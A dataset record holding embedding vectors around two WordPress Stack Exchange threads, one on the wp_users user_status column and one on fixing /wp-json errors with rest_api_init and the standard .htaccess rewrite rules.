0.0092315673828125, -0.07867431640625, 0.05975341796875, 0.02410888671875, 0.06817626953125, -0.01094818115234375, 0.08056640625, 0.0010986328125, -0.043487548828125, -0.0205078125, 0.037994384765625, -0.0198516845703125, 0.027191162109375, -0.065185546875, -0.0657958984375, 0.0022068023681640625, 0.055328369140625, 0.0119171142578125, -0.00789642333984375, 0.04901123046875, 0.06353759765625, -0.0246734619140625, -0.0170745849609375, 0.053436279296875, -0.004726409912109375, 0.01024627685546875, -0.0258331298828125, 0.037567138671875, 0.0247039794921875, 0.00659942626953125, -0.006763458251953125, 0.038299560546875, 0.023712158203125, -0.0007162094116210938, 0.020843505859375, 0.0007715225219726562, -0.019866943359375, 0.0272979736328125, 0.00785064697265625, 0.0546875, 0.037750244140625, -0.008392333984375, 0.0087890625, -0.03790283203125, -0.056427001953125, 0.041107177734375, 0.03521728515625, -0.035614013671875, 0.036773681640625, 0.011322021484375, 0.0245208740234375, -0.0169830322265625, -0.04144287109375, 0.031951904296875, -0.01175689697265625, 0.00554656982421875, 0.021575927734375, -0.03460693359375, -0.032745361328125, -0.0149383544921875, 0.045989990234375, 0.0126953125, 0.05438232421875, -0.01287078857421875, 0.042022705078125, -0.0210418701171875, -0.01184844970703125, -0.00388336181640625, -0.00556182861328125, -0.0126800537109375, 0.0157928466796875, 0.01198577880859375, -0.002864837646484375, -0.0225372314453125, 0.0341796875, 0.002620697021484375, -0.0207366943359375, 0.04205322265625, -0.035064697265625, -0.0011510848999023438, -0.0104217529296875, -0.0020599365234375, -0.044281005859375, -0.05511474609375, -0.045440673828125, -0.005970001220703125, -0.0092315673828125, -0.0321044921875, -0.0201263427734375, 0.0160980224609375, -0.01107025146484375, 0.01025390625, 0.0202484130859375, 0.007541656494140625, 0.0005965232849121094, 0.01259613037109375, -0.03057861328125, -0.004657745361328125, -0.032623291015625, -0.014190673828125, -0.0193939208984375, -0.00494384765625, -0.0052490234375, -0.0253143310546875, -0.0005040168762207031, -0.052734375, -0.0186614990234375, 0.006805419921875, -0.0253143310546875, 0.01215362548828125, -0.034210205078125, -0.0032520294189453125, 0.018951416015625, 0.0162811279296875, -0.00891876220703125, -0.0038852691650390625, -0.00799560546875, 0.005245208740234375, 0.0095062255859375, -0.0176544189453125, 0.0036754608154296875, 0.02056884765625, 0.0229644775390625, -0.003795623779296875, -0.044921875, 0.01061248779296875, -0.032135009765625, 0.055328369140625, -0.036956787109375, -0.02276611328125, 0.004547119140625, 0.010101318359375, -0.025604248046875, -0.0245208740234375, -0.016998291015625, 0.023895263671875, -0.0089569091796875, -0.0101318359375, 0.021575927734375, 0.01284027099609375, 0.0163726806640625, -0.004871368408203125, 0.00017535686492919922, 0.042572021484375, -0.04296875, -0.020172119140625, 0.0205841064453125, -0.0244903564453125, -0.007030487060546875, -0.049835205078125, 0.01953125, -0.09918212890625, -0.028350830078125, -0.027313232421875, -0.0129241943359375, -0.0029468536376953125, -0.05169677734375, -0.102783203125, 0.0275115966796875, -0.01274871826171875, -0.04534912109375, -0.0122222900390625, -0.0191497802734375, -0.036529541015625, 0.0330810546875, -0.0004935264587402344, -0.027618408203125, 0.00782012939453125, 0.046356201171875, 0.01119232177734375, 0.07611083984375, -0.0101318359375, 0.030914306640625, 0.035247802734375, 0.042724609375, 0.03851318359375, -0.0120391845703125, -0.0166473388671875, -0.00411224365234375, 0.0193634033203125, 0.00818634033203125, -0.039764404296875, 0.01806640625, 0.0192413330078125, 0.0238037109375, -0.015960693359375, -0.053314208984375, -0.0364990234375, -0.0217132568359375, 0.07989501953125, 0.06878662109375, 0.02001953125, -0.0411376953125, 0.052215576171875, -0.001956939697265625, 0.00754547119140625, 0.009918212890625, -0.015289306640625, 0.0018148422241210938, -0.004230499267578125, 0.00890350341796875, 0.02508544921875, -0.02264404296875, 0.0068359375, -0.0085296630859375, -0.03668212890625, -0.0008525848388671875, -0.0208282470703125, 0.023468017578125, -0.01044464111328125, 0.06304931640625, -0.024627685546875, 0.0170135498046875, -0.0010585784912109375, 0.00916290283203125, 0.044097900390625, 0.0215301513671875, -0.040863037109375, 0.051971435546875, -0.003871917724609375, 0.02337646484375, 0.0028228759765625, 0.004730224609375, -0.006500244140625, 0.041259765625, -0.0019397735595703125, 0.0192108154296875, 0.01666259765625, 0.0250701904296875, -0.064697265625, 0.065673828125, 0.0396728515625, 0.01305389404296875, 0.0261993408203125, 0.007457733154296875, -0.0003437995910644531, 0.0321044921875, -0.04254150390625, -0.01326751708984375, -0.040069580078125, -0.041412353515625, 0.015869140625, 0.0004069805145263672, 0.004489898681640625, -0.008514404296875, 0.01267242431640625, -0.053497314453125, -0.022796630859375, 0.0044708251953125 ]
dcf3e5d036551278703ca34540ab68d6a2c9af80
Wordpress Stackexchange Q: What the user_status column? I was look in the wp_users table a " user_status " column...( all contain zero ) What works is this data? A: The user_status column in the wp_users table is no longer used by WordPress core - it just hasn't been removed. It may, or may not be used in the future. Best to leave it alone...
Q: What the user_status column? I was look in the wp_users table a " user_status " column...( all contain zero ) What works is this data? A: The user_status column in the wp_users table is no longer used by WordPress core - it just hasn't been removed. It may, or may not be used in the future. Best to leave it alone... A: It is used to update the status of a user in the database. Used in core to mark a user as spam or "ham" (not spam) on multisite installs. Status 0 is Ham Status 1 is Spam Again, this will not work on single site installs. https://codex.wordpress.org/Function_Reference/update_user_status#Mark_a_User_as_Spam
wordpress
{ "language": "en", "length": 110, "provenance": "stackexchange_00019.jsonl.gz:485440", "question_score": "7", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/300792" }
[ 0.0638427734375, -0.01824951171875, -0.0190582275390625, -0.0188446044921875, 0.00395965576171875, -0.06427001953125, 0.048919677734375, -0.00933074951171875, 0.06036376953125, 0.047210693359375, -0.050323486328125, -0.0150604248046875, 0.0244293212890625, 0.006320953369140625, -0.08905029296875, -0.0210113525390625, 0.026824951171875, -0.01416015625, 0.0002868175506591797, -0.01515960693359375, -0.0105743408203125, 0.01776123046875, 0.00007647275924682617, 0.00007891654968261719, -0.01446533203125, -0.031524658203125, 0.014068603515625, -0.01503753662109375, -0.0025177001953125, -0.012725830078125, -0.00928497314453125, 0.042694091796875, 0.0196533203125, 0.00786590576171875, -0.019073486328125, 0.00121307373046875, -0.008392333984375, 0.019378662109375, -0.0005016326904296875, 0.0130462646484375, 0.00948333740234375, 0.007171630859375, 0.01904296875, -0.0460205078125, -0.00936126708984375, -0.01617431640625, 0.0301513671875, -0.00223541259765625, 0.033447265625, -0.0234375, 0.03192138671875, 0.0029850006103515625, 0.054901123046875, -0.050384521484375, -0.0252838134765625, -0.0013523101806640625, 0.0005946159362792969, 0.012542724609375, 0.042755126953125, 0.0010929107666015625, -0.038482666015625, 0.00417327880859375, 0.01421356201171875, -0.027374267578125, 0.00637054443359375, -0.0276641845703125, -0.0321044921875, 0.0262908935546875, 0.00450897216796875, 0.003856658935546875, 0.01416778564453125, 0.000002682209014892578, 0.0092926025390625, -0.0024318695068359375, -0.0540771484375, -0.03521728515625, 0.029541015625, -0.0550537109375, 0.0166778564453125, -0.00592803955078125, -0.0287628173828125, -0.006374359130859375, -0.05035400390625, -0.00008416175842285156, 0.00665283203125, 0.0274658203125, -0.026153564453125, -0.0201263427734375, 0.0014400482177734375, 0.007572174072265625, -0.0009756088256835938, -0.035400390625, 0.0034847259521484375, 0.03436279296875, -0.0019130706787109375, -0.012054443359375, 0.0273590087890625, 0.07305908203125, -0.016021728515625, -0.0272064208984375, 0.01837158203125, -0.023468017578125, -0.04791259765625, -0.0167236328125, -0.00331878662109375, 0.04241943359375, 0.005016326904296875, 0.007518768310546875, 0.0033321380615234375, 0.0180816650390625, -0.00830841064453125, 0.006122589111328125, -0.00865936279296875, -0.04583740234375, -0.01922607421875, 0.01308441162109375, -0.0313720703125, -0.0016794204711914062, 0.0014629364013671875, -0.0233154296875, -0.0024890899658203125, 0.0261077880859375, -0.0291595458984375, -0.0282745361328125, 0.00531005859375, -0.025482177734375, -0.0015106201171875, 0.005153656005859375, -0.0209808349609375, 0.05615234375, -0.0111541748046875, -0.0242919921875, -0.004039764404296875, 0.0183868408203125, -0.019439697265625, -0.02630615234375, 0.004413604736328125, -0.059814453125, -0.04046630859375, 0.0638427734375, -0.01554107666015625, -0.0931396484375, -0.029144287109375, -0.0069580078125, 0.01419830322265625, 0.02374267578125, 0.017669677734375, -0.0029582977294921875, -0.0062103271484375, -0.02154541015625, -0.027069091796875, 0.0018711090087890625, -0.03607177734375, 0.046173095703125, 0.040283203125, 0.01540374755859375, -0.00945281982421875, -0.00629425048828125, 0.0333251953125, 0.02203369140625, 0.041961669921875, -0.01465606689453125, -0.0105438232421875, 0.0293426513671875, -0.025482177734375, 0.0271453857421875, -0.01332855224609375, -0.0082550048828125, 0.0173492431640625, -0.01294708251953125, -0.027374267578125, 0.01319122314453125, 0.0455322265625, 0.017730712890625, 0.005893707275390625, 0.0238800048828125, 0.007171630859375, 0.031982421875, -0.00907135009765625, 0.038848876953125, -0.01363372802734375, -0.058319091796875, 0.0015516281127929688, 0.001483917236328125, -0.012115478515625, 0.0175018310546875, -0.0209197998046875, 0.01514434814453125, 0.03857421875, 0.00794219970703125, -0.03857421875, 0.0285186767578125, -0.0207977294921875, 0.0469970703125, -0.0069122314453125, -0.0477294921875, -0.01824951171875, -0.004787445068359375, -0.01898193359375, -0.01526641845703125, 0.08599853515625, -0.005321502685546875, 0.00571441650390625, -0.05291748046875, -0.1307373046875, 0.0064697265625, -0.0382080078125, 0.034149169921875, -0.0303802490234375, -0.003620147705078125, 0.030059814453125, 0.007793426513671875, -0.0295257568359375, 0.012542724609375, 0.0035762786865234375, 0.0031871795654296875, -0.0390625, -0.020172119140625, -0.00605010986328125, 0.051177978515625, -0.044769287109375, 0.0298919677734375, -0.034271240234375, -0.02581787109375, -0.0128326416015625, -0.043853759765625, 0.01471710205078125, -0.016937255859375, 0.0399169921875, -0.03338623046875, 0.1160888671875, 0.007633209228515625, 0.025238037109375, 0.033233642578125, -0.0164031982421875, 0.004756927490234375, 0.007205963134765625, -0.03839111328125, -0.0020885467529296875, 0.041717529296875, 0.012603759765625, 0.0177459716796875, -0.041961669921875, -0.0197296142578125, 0.0479736328125, 0.01270294189453125, 0.004421234130859375, 0.01873779296875, 0.004566192626953125, 0.040435791015625, -0.0024967193603515625, 0.004497528076171875, 0.0092926025390625, -0.036956787109375, 0.007183074951171875, 0.0389404296875, -0.037384033203125, 0.0193023681640625, -0.0229034423828125, 0.0209503173828125, -0.00548553466796875, 0.006618499755859375, 0.0248565673828125, -0.0213165283203125, 0.00582122802734375, 0.007106781005859375, 0.038665771484375, 0.0291748046875, -0.0179901123046875, 0.00032210350036621094, 0.0205841064453125, -0.004547119140625, -0.004909515380859375, 0.049713134765625, -0.01084136962890625, 0.06640625, -0.023162841796875, -0.0157012939453125, -0.01507568359375, 0.0298004150390625, -0.02301025390625, -0.03131103515625, -0.0300140380859375, -0.0010099411010742188, 0.01519012451171875, -0.002178192138671875, 0.035125732421875, 0.026824951171875, 0.00620269775390625, -0.017333984375, 0.0135955810546875, 0.03607177734375, -0.00457763671875, 0.033355712890625, 0.0005807876586914062, -0.033782958984375, 0.00020754337310791016, -0.045501708984375, 0.015106201171875, -0.01372528076171875, 0.0209503173828125, 0.0770263671875, 0.05108642578125, -0.033660888671875, 0.0208282470703125, 0.01335906982421875, 0.009735107421875, 0.0021762847900390625, 0.005809783935546875, 0.022735595703125, -0.0038814544677734375, 0.0863037109375, 0.03253173828125, 0.07257080078125, -0.03643798828125, -0.037841796875, -0.034759521484375, 0.03765869140625, -0.038909912109375, -0.06585693359375, -0.05029296875, -0.020294189453125, -0.006870269775390625, -0.025482177734375, 0.004650115966796875, 0.01007843017578125, -0.024261474609375, 0.0131683349609375, -0.0433349609375, -0.0036983489990234375, -0.05621337890625, -0.050079345703125, -0.058929443359375, 0.03509521484375, -0.0318603515625, 0.0227813720703125, -0.0211181640625, 0.10870361328125, -0.017822265625, -0.06085205078125, -0.050506591796875, -0.007747650146484375, 0.005615234375, 0.006404876708984375, 0.007556915283203125, 0.03350830078125, -0.04693603515625, 0.035064697265625, -0.0221710205078125, -0.004543304443359375, -0.03900146484375, -0.0300445556640625, 0.016937255859375, 0.01178741455078125, 0.01204681396484375, 0.007671356201171875, -0.0202484130859375, -0.001209259033203125, -0.00811004638671875, -0.03900146484375, -0.032867431640625, 0.0284576416015625, -0.0276336669921875, 0.0251617431640625, -0.008514404296875, -0.0113372802734375, 0.014251708984375, 0.0207366943359375, 0.01172637939453125, 0.022216796875, -0.017181396484375, 0.006786346435546875, 0.00864410400390625, -0.0082550048828125, 0.006649017333984375, 0.0029048919677734375, 0.02020263671875, -0.0254974365234375, 0.0299072265625, 0.002140045166015625, 0.00551605224609375, -0.0008401870727539062, -0.01132965087890625, -0.03094482421875, -0.0203704833984375, 0.03515625, 0.01552581787109375, 0.027923583984375, -0.013214111328125, -0.0241241455078125, -0.0019178390502929688, 0.06353759765625, -0.0262603759765625, -0.0204925537109375, 0.01160430908203125, 0.034912109375, -0.080322265625, -0.026947021484375, -0.054656982421875, 0.00473785400390625, -0.0184326171875, -0.00920867919921875, -0.000911712646484375, -0.0197296142578125, -0.005062103271484375, -0.020263671875, -0.01297760009765625, -0.027679443359375, 0.01499176025390625, -0.0167694091796875, 0.0203857421875, -0.0161285400390625, -0.0085296630859375, -0.0193328857421875, 0.0170135498046875, -0.0499267578125, -0.029388427734375, -0.01293182373046875, 0.0220184326171875, 0.003292083740234375, 0.0206298828125, -0.03216552734375, 0.02154541015625, 0.03863525390625, -0.005268096923828125, 0.0313720703125, -0.023345947265625, -0.007537841796875, 0.0036563873291015625, 0.023651123046875, -0.006038665771484375, 0.0129852294921875, -0.002094268798828125, -0.057220458984375, -0.0182647705078125, -0.050201416015625, -0.0662841796875, 0.007167816162109375, -0.0526123046875, 0.0035800933837890625, 0.0236968994140625, -0.00664520263671875, 0.007808685302734375, 0.057769775390625, -0.0390625, 0.04705810546875, -0.034332275390625, -0.0010175704956054688, 0.061309814453125, 0.023834228515625, -0.004489898681640625, 0.0084686279296875, 0.055755615234375, 0.0112762451171875, -0.0394287109375, -0.0567626953125, -0.0294647216796875, 0.038299560546875, -0.007022857666015625, 0.02166748046875, 0.00032138824462890625, -0.038238525390625, 0.0826416015625, 0.0116119384765625, -0.03564453125, 0.027130126953125, 0.0165252685546875, 0.01213836669921875, -0.036468505859375, 0.011383056640625, -0.01448822021484375, -0.0014324188232421875, 0.0238189697265625, -0.004302978515625, -0.023162841796875, -0.0246124267578125, 0.032012939453125, -0.0035610198974609375, 0.002513885498046875, -0.0362548828125, -0.055023193359375, 0.007030487060546875, -0.07275390625, 0.036529541015625, 0.0253448486328125, -0.0007600784301757812, 0.02215576171875, 0.0205230712890625, -0.0207366943359375, -0.051666259765625, -0.0401611328125, -0.0066986083984375, 0.008453369140625, -0.046966552734375, -0.0015764236450195312, -0.0269775390625, -0.034698486328125, 0.132080078125, 0.00887298583984375, -0.051544189453125, 0.0302581787109375, -0.0244598388671875, 0.03326416015625, 0.037811279296875, 0.03143310546875, 0.02691650390625, 0.0244293212890625, 0.00472259521484375, -0.01184844970703125, 0.01849365234375, 0.0114898681640625, -0.02398681640625, 0.043426513671875, 0.032318115234375, -0.00959014892578125, 0.00103759765625, 0.0716552734375, 0.0202789306640625, 0.0328369140625, -0.0207366943359375, 0.038543701171875, 0.01267242431640625, 0.0250244140625, 0.00855255126953125, 0.0036563873291015625, 0.01458740234375, -0.00409698486328125, 0.0057373046875, -0.006763458251953125, 0.0246429443359375, 0.03997802734375, 0.01690673828125, 0.050537109375, 0.00019550323486328125, -0.0210418701171875, -0.032501220703125, 0.0240936279296875, 0.040924072265625, -0.020904541015625, -0.055389404296875, -0.004032135009765625, 0.0241851806640625, 0.022003173828125, -0.062744140625, -0.009521484375, -0.004802703857421875, -0.050628662109375, -0.004703521728515625, 0.0262908935546875, -0.016754150390625, -0.029296875, -0.01861572265625, 0.0021648406982421875, -0.032470703125, -0.01190948486328125, -0.025482177734375, 0.01360321044921875, -0.022491455078125, 0.00807952880859375, 0.027130126953125, -0.01158905029296875, 0.0248870849609375, -0.07830810546875, 0.0306396484375, -0.039520263671875, -0.015106201171875, 0.05670166015625, 0.0291290283203125, -0.025726318359375, -0.017181396484375, 0.006439208984375, -0.0192718505859375, -0.01317596435546875, -0.01393890380859375, -0.036712646484375, -0.003337860107421875, 0.056671142578125, 0.0298004150390625, 0.020904541015625, -0.045196533203125, -0.0560302734375, 0.00420379638671875, 0.0736083984375, 0.0361328125, -0.009796142578125, 0.0733642578125, -0.0400390625, 0.0731201171875, 0.01181793212890625, 0.0655517578125, 0.014312744140625, -0.034942626953125, 0.048248291015625, 0.0265960693359375, -0.044403076171875, -0.06512451171875, 0.0243377685546875, -0.06494140625, 0.01038360595703125, -0.032989501953125, 0.01476287841796875, 0.00858306884765625, 0.0272064208984375, -0.01497650146484375, -0.04315185546875, -0.006443023681640625, -0.0053558349609375, 0.00714874267578125, -0.00658416748046875, 0.0187225341796875, -0.00971221923828125, 0.003570556640625, -0.02935791015625, 0.003124237060546875, -0.03033447265625, 0.0191802978515625, -0.02923583984375, 0.0616455078125, 0.048797607421875, -0.039459228515625, -0.00031566619873046875, 0.0161895751953125, -0.01953125, -0.006504058837890625, 0.0323486328125, -0.06329345703125, -0.021820068359375, 0.040924072265625, 0.0258636474609375, -0.0276947021484375, 0.037445068359375, -0.01904296875, 0.04071044921875, 0.07257080078125, 0.08306884765625, -0.10467529296875, 0.03857421875, 0.01934814453125, -0.01290130615234375, 0.06768798828125, -0.01806640625, 0.0023593902587890625, -0.0885009765625, 0.055633544921875, 0.0052337646484375, -0.0018911361694335938, -0.0178680419921875, -0.03839111328125, 0.0128936767578125, -0.006458282470703125, 0.035125732421875, -0.004230499267578125, 0.0036678314208984375, -0.03778076171875, 0.00864410400390625, 0.006664276123046875, -0.00988006591796875, 0.0293426513671875, -0.028045654296875, -0.0031566619873046875, -0.02947998046875, -0.0019140243530273438, 0.00909423828125, -0.0211029052734375, -0.0022449493408203125, -0.0035419464111328125, 0.04736328125, 0.035186767578125, 0.0026798248291015625, -0.0164031982421875, 0.0139923095703125, -0.0215606689453125, -0.08349609375, -0.0229949951171875, 0.0284271240234375, 0.020477294921875, -0.006927490234375, 0.04412841796875, -0.01438140869140625, -0.037628173828125, -0.0191650390625, -0.0087738037109375, 0.09259033203125, -0.0771484375, 0.00788116455078125, -0.00807952880859375, 0.040496826171875, 0.026153564453125, -0.00011646747589111328, -0.005100250244140625, -0.0286865234375, 0.01168060302734375, -0.020721435546875, -0.0196990966796875, 0.02471923828125, 0.00020062923431396484, -0.055908203125, 0.032684326171875, -0.00579071044921875, 0.0028972625732421875, -0.02435302734375, 0.0164337158203125, 0.01361846923828125, -0.003269195556640625, -0.059906005859375, 0.09600830078125, 0.0078277587890625, 0.0723876953125, -0.032379150390625, 0.00952911376953125, 0.041259765625, -0.003490447998046875, 0.059600830078125, 0.022552490234375, -0.0186004638671875, -0.0186614990234375, 0.00885009765625, 0.01702880859375, -0.0133514404296875, 0.03326416015625, -0.0187530517578125, 0.024932861328125, 0.042449951171875, -0.0244140625, 0.0386962890625, -0.0138397216796875, -0.03466796875, -0.01280975341796875, 0.041595458984375, 0.06109619140625, 0.01131439208984375, 0.0219879150390625, -0.038116455078125, 0.00995635986328125, 0.0447998046875, -0.027496337890625, -0.021392822265625, 0.006175994873046875, -0.01520538330078125, -0.023040771484375, -0.017730712890625, -0.0124359130859375, 0.01531982421875, 0.0106201171875, 0.029022216796875, 0.02789306640625, 0.0142059326171875, 0.041961669921875, -0.03033447265625, 0.006458282470703125, 0.01421356201171875, -0.0193939208984375, 0.03277587890625, 0.0203704833984375, 0.0257720947265625, -0.0306854248046875, 0.035736083984375, 0.0206756591796875, 0.04669189453125, -0.0645751953125, -0.01129913330078125, 0.0230712890625, 0.02191162109375, 0.006610870361328125, 0.00933837890625, 0.03985595703125, 0.019866943359375, 0.026519775390625, -0.0439453125, 0.0100860595703125, 0.045257568359375, -0.00411224365234375, -0.00199127197265625, 0.0040283203125, -0.0308837890625, -0.005878448486328125, -0.0153656005859375, -0.004421234130859375, 0.00537109375, -0.0230865478515625, -0.0024585723876953125, -0.006473541259765625, 0.06671142578125, 0.0184173583984375, -0.0006103515625, 0.00244903564453125, -0.004180908203125, 0.0185546875, -0.0222320556640625, -0.0299835205078125, 0.014373779296875, 0.0400390625, 0.0182037353515625, -0.045440673828125, -0.0030498504638671875, 0.01073455810546875, -0.03289794921875, -0.0106658935546875, 0.0084686279296875, -0.0208282470703125, -0.03594970703125, -0.06671142578125, 0.041900634765625, 0.0325927734375, 0.039947509765625, 0.029205322265625, 0.0284881591796875, 0.038299560546875, -0.01461029052734375, 0.004108428955078125, -0.003437042236328125, -0.041900634765625, 0.0282440185546875, 0.01473236083984375, 0.05462646484375, 0.0257415771484375, -0.00481414794921875, -0.01983642578125, -0.01090240478515625, 0.049468994140625, -0.01093292236328125, 0.0155181884765625, 0.025665283203125, 0.0027790069580078125, -0.004276275634765625, -0.0214691162109375, 0.021148681640625, -0.00907135009765625, 0.00661468505859375, 0.00431060791015625, -0.00238037109375, -0.0222015380859375, -0.0123748779296875, 0.0016660690307617188, 0.0204620361328125, 0.006488800048828125, -0.0009016990661621094, 0.00428009033203125, 0.01409912109375, 0.01126861572265625, 0.00426483154296875, 0.0084991455078125, -0.0162200927734375, -0.0034732818603515625, 0.0106353759765625, 0.0016870498657226562, 0.01043701171875, -0.0199127197265625, -0.03759765625, 0.0338134765625, 0.033233642578125, -0.0030345916748046875, 0.038360595703125, -0.00006192922592163086, -0.001544952392578125, -0.03314208984375, -0.0312042236328125, -0.040313720703125, -0.01265716552734375, 0.0259552001953125, -0.0095062255859375, 0.01224517822265625, -0.045074462890625, 0.0068817138671875, 0.0311279296875, -0.0205841064453125, -0.0552978515625, 0.0035552978515625, -0.06463623046875, -0.009674072265625, 0.02197265625, 0.056182861328125, 0.055389404296875, -0.0055389404296875, -0.02825927734375, 0.029266357421875, -0.008087158203125, -0.036712646484375, 0.00726318359375, -0.002750396728515625, 0.0068511962890625, 0.02191162109375, 0.038909912109375, -0.01146697998046875, 0.021697998046875, 0.0029315948486328125, 0.00429534912109375, 0.0258026123046875, -0.0083770751953125, -0.00751495361328125, -0.00025653839111328125, -0.043975830078125, -0.00919342041015625, -0.004810333251953125, -0.057342529296875, -0.021331787109375, -0.051666259765625, 0.024688720703125, 0.004627227783203125, -0.00981903076171875, -0.0135955810546875, 0.004413604736328125, -0.0293731689453125, 0.00551605224609375, -0.0113983154296875, 0.032501220703125, 0.082275390625, -0.039276123046875, -0.0003898143768310547, 0.018035888671875, -0.0111083984375, -0.003604888916015625, 0.01904296875, 0.029571533203125, -0.0237274169921875, -0.02880859375, 0.05682373046875, 0.016021728515625, 0.09808349609375, -0.00934600830078125, -0.02398681640625, -0.028564453125, 0.01334381103515625, 0.006862640380859375, -0.0511474609375, -0.0031833648681640625, -0.059234619140625, -0.0190277099609375, -0.04248046875, 0.001556396484375, -0.024932861328125, -0.0595703125, -0.07318115234375, 0.052764892578125, -0.02313232421875, -0.029571533203125, -0.04486083984375, -0.0098876953125, 0.0084228515625, -0.03411865234375, -0.023773193359375, -0.0177154541015625, -0.05645751953125, 0.0230712890625, 0.011322021484375, 0.006420135498046875, 0.01117706298828125, 0.00421905517578125, -0.08807373046875, -0.0011453628540039062, -0.01377105712890625, 0.01332855224609375, 0.01557159423828125, 0.002208709716796875, 0.00847625732421875, 0.03656005859375, -0.03173828125, -0.00798797607421875, -0.030181884765625, -0.0135955810546875, 0.0191497802734375, -0.00823974609375, -0.023193359375, -0.042510986328125, 0.0218048095703125, 0.006622314453125, 0.016937255859375, 0.0263671875, -0.054656982421875, -0.081787109375, 0.0029506683349609375, -0.041229248046875, 0.01390838623046875, -0.0943603515625, 0.0018682479858398438, 0.03448486328125, -0.0338134765625, 0.0113372802734375, -0.0037059783935546875, -0.035797119140625, 0.012298583984375, 0.0169219970703125, -0.0254364013671875, -0.0029582977294921875, -0.0546875, -0.01276397705078125, 0.00615692138671875, -0.0132598876953125, 0.006561279296875, 0.04229736328125, -0.036865234375, 0.06475830078125, 0.002674102783203125, -0.025634765625, -0.0026683807373046875, 0.040191650390625, -0.0004813671112060547, 0.0156097412109375, -0.029876708984375, -0.03460693359375, 0.0263519287109375, 0.01406097412109375, -0.02276611328125, 0.00695037841796875, 0.0279388427734375, 0.037933349609375, -0.019256591796875, 0.0400390625, 0.01702880859375, 0.01187896728515625, -0.0144500732421875, 0.0595703125, 0.0030422210693359375, -0.046112060546875, -0.0037631988525390625, -0.02410888671875, -0.006221771240234375, 0.0034618377685546875, 0.0108642578125, -0.07275390625, 0.02117919921875, -0.0193939208984375, 0.0258026123046875, 0.0229034423828125 ]
c2b411642bd70b1ef2fcbe6d00af77cd778ebc74
Wordpress Stackexchange Q: 404/500 error on /wp-json I get 500 error on wp-json. if I try to echo get_rest_url() I get example.com/wp-json, which then gives me error 500. I added RewriteCond %{REQUEST_URI} !^/wp-json to my .htaccess, which gave me 404 error instead. I use postname as settings for permalinks. I've tried http://example.com/?rest_route=/wp-json/v2/posts as well, and it gives me error 500. EDIT: Okay, I turned on wp_debug. Now I get the error: Fatal error: Call to undefined function register_rest_route() in /customers/0/2/1/. So this is my new error. Any clue for this? A: Are you trying to use that function without first initiating it in an action? It should be done like so: add_action( 'rest_api_init', 'add_custom_users_api'); function add_custom_users_api() { register_rest_route( 'route', array( 'methods' => 'GET', 'callback' => 'function', )); }
Q: 404/500 error on /wp-json I get 500 error on wp-json. if I try to echo get_rest_url() I get example.com/wp-json, which then gives me error 500. I added RewriteCond %{REQUEST_URI} !^/wp-json to my .htaccess, which gave me 404 error instead. I use postname as settings for permalinks. I've tried http://example.com/?rest_route=/wp-json/v2/posts as well, and it gives me error 500. EDIT: Okay, I turned on wp_debug. Now I get the error: Fatal error: Call to undefined function register_rest_route() in /customers/0/2/1/. So this is my new error. Any clue for this? A: Are you trying to use that function without first initiating it in an action? It should be done like so: add_action( 'rest_api_init', 'add_custom_users_api'); function add_custom_users_api() { register_rest_route( 'route', array( 'methods' => 'GET', 'callback' => 'function', )); } A: Create a .htaccess file with # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress
wordpress
{ "language": "en", "length": 159, "provenance": "stackexchange_00019.jsonl.gz:485498", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/301030" }
[ 0.07354736328125, -0.0079345703125, -0.023406982421875, -0.0732421875, 0.0159912109375, -0.0269927978515625, 0.022674560546875, 0.0092620849609375, -0.0196685791015625, 0.020172119140625, -0.0196380615234375, 0.034027099609375, -0.003276824951171875, -0.017425537109375, -0.0018634796142578125, -0.031890869140625, 0.0190887451171875, 0.03271484375, 0.0401611328125, -0.0113677978515625, 0.0274505615234375, -0.004314422607421875, -0.003482818603515625, 0.06927490234375, 0.0021190643310546875, 0.0282440185546875, 0.055084228515625, -0.043853759765625, 0.0088348388671875, -0.01483917236328125, 0.00957489013671875, 0.0006604194641113281, -0.001068115234375, 0.0518798828125, -0.0296783447265625, -0.01617431640625, 0.01361083984375, 0.0179290771484375, -0.01038360595703125, 0.038330078125, -0.005748748779296875, 0.003963470458984375, 0.03240966796875, -0.0283355712890625, 0.012603759765625, -0.0322265625, 0.027923583984375, -0.040618896484375, 0.0009183883666992188, 0.01337432861328125, -0.01096343994140625, -0.01335906982421875, 0.013580322265625, -0.03875732421875, -0.01507568359375, -0.04644775390625, 0.01983642578125, 0.0222625732421875, 0.02850341796875, -0.004180908203125, -0.03515625, 0.01007080078125, 0.00591278076171875, -0.031402587890625, 0.039581298828125, -0.040924072265625, 0.0204010009765625, 0.033660888671875, 0.0021114349365234375, 0.054779052734375, 0.0254669189453125, 0.00390625, 0.0013341903686523438, 0.001743316650390625, -0.00826263427734375, -0.038543701171875, 0.01088714599609375, -0.01172637939453125, 0.00860595703125, 0.0167388916015625, -0.006633758544921875, -0.021636962890625, 0.0119781494140625, 0.0255279541015625, -0.0394287109375, 0.01485443115234375, -0.020233154296875, -0.01457977294921875, -0.02203369140625, -0.041961669921875, -0.010528564453125, -0.08367919921875, -0.056640625, 0.043670654296875, 0.018035888671875, -0.0135040283203125, -0.017333984375, -0.01348876953125, -0.0277252197265625, 0.002063751220703125, 0.0517578125, -0.055328369140625, 0.0787353515625, -0.02593994140625, 0.025543212890625, -0.01763916015625, 0.0012426376342773438, 0.006061553955078125, 0.068603515625, 0.0233306884765625, -0.0231475830078125, 0.1077880859375, 0.0241851806640625, -0.01190185546875, -0.0118560791015625, -0.033050537109375, -0.01953125, 0.0269775390625, 0.01105499267578125, -0.0040740966796875, -0.0247802734375, 0.0157318115234375, 0.00415802001953125, 0.0171356201171875, -0.00855255126953125, -0.01544189453125, 0.01525115966796875, -0.03277587890625, 0.0175933837890625, 0.0031585693359375, -0.0162200927734375, 0.036224365234375, 0.023193359375, -0.007904052734375, -0.025421142578125, -0.009552001953125, 0.04083251953125, 0.01465606689453125, -0.005794525146484375, 0.0123138427734375, 0.0095672607421875, -0.00925445556640625, 0.0019741058349609375, -0.00482177734375, 0.000835418701171875, -0.01522064208984375, 0.01561737060546875, 0.02777099609375, 0.01474761962890625, -0.029571533203125, -0.020599365234375, 0.03546142578125, 0.0186767578125, 0.0190582275390625, 0.01470947265625, -0.00577545166015625, 0.05877685546875, -0.038818359375, -0.0179290771484375, -0.0323486328125, 